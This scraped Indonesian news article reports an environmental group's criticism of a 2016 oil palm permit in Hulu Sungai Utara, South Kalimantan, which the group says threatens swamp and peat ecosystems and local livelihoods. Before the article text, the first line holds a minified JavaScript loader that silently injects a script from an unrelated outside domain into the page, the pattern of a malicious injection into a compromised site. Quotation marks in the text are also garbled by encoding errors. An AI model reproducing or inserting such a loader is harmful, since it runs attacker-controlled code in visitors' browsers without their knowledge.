(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya dan mata pencaharian masyarakat Kampung Timbul di Danau Panggang bisa tergerus oleh keberadaan lahan sawit.
Pemberian izin tersebut, menurut Kisworo Dwi Cahyo, Direktur Esksektif Wahana Lingkungan Hidup (Walhi) Kasel dilakukan Bupati HSU Abdul Wahid empat bulan menjelang pemilihan kepala daerah di HSU yang digelar Februari 2017 lalu.“Izin prinsip bernomor 522/146/Hutbun dan ESDM itu dikeluarkan Bupati HSU Abdul Wahid pada 26 Oktober 2016 kepada PT Sinar Surya Borneo dengan luas 8000 hektare,†ujar Kisworo.
Keluarnya izin itu ujar Kisworo, jelas bertentangan dan melanggar  kedua Inpres yang dikeluarkan untuk menyelesaikan berbagai upaya dan penyempurnaan tata kelola hutan dan lahan gambut yang tengah dilaksanakan pemerintah. Yakni, Instruksi Presiden (Inpres) Nomor 6/2013 dan Inpres Nomor 8/2015 tentang Penundaan Pemberian Izin Baru dan Penyempurnaan Tata Kelola Hutan Alam Premier dan Lahan Gambut. Dua Inpres ini kemudian diikuti Perpres Nomor 1/Tahun 2016 tentang Badan Restorasi Gambut yang di tingkat provinsi berupa Tim Restorasi Gambut Daerah Kalsel.
“Harusnya Pemkab HSU tak mengangkangi Inpres yang dikeluarkan Jokowi dengan mengeluarkan izin prinsip baru bagi perkebunan sawit. Bupati HSU wajib mencabut izin yang ia keluarkan untuk PT Sinar Surya Borneo. Jangan kepentingan sesaat yang dikedepankan. Tapi bupati harus melindungi dan mensejahterakan rakyatnya bukan dengan memberi izin pada perkebunan sawit, tapi memperkuat ekonomi masyarakatnya yang hidup dengan kearifan tradisional,†katanya.
Baca juga : Danau Panggang, Riwayatmu Doeloe dan Sekarang (1)
Selain telah menyalahi aturan dan komitmen Negara,  ditambahkan Kisworo, kebijakan tersebut juga bisa mengancam ekosistem rawa dan gambut, juga keberadaan kerbau rawa. Pengusaan dan penggunaan lahan rawa oleh perkebunan kelapa sawit berskala besar banyak terjadi. Di Kalsel, enam kabupaten mengembangkan sawit di lahan rawa dan gambut, Batola, Banjar, Tapin, Tanah Laut, HSS, Tabalong, dan HSU.***
Budaya dan mata pencaharian masyarakat Kampung Timbul di Danau Panggang bisa tergerus oleh keberadaan lahan sawit.
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani bersama Dandim 1001/ HSU-BLG Letkol… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani menilai Tentara Nasional Indonesia (TNI)… Read More
KANALKALIMANTAN.COM,KUALA KAPUAS - Dinas Perindustrian, Perdagangan, Koperasi, dan UMKM Kabupaten Kapuas menggelar rapat lanjutan penataan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur memberikan perhatian khusus terhadap penertiban pengelolaan Taman… Read More
This website uses cookies.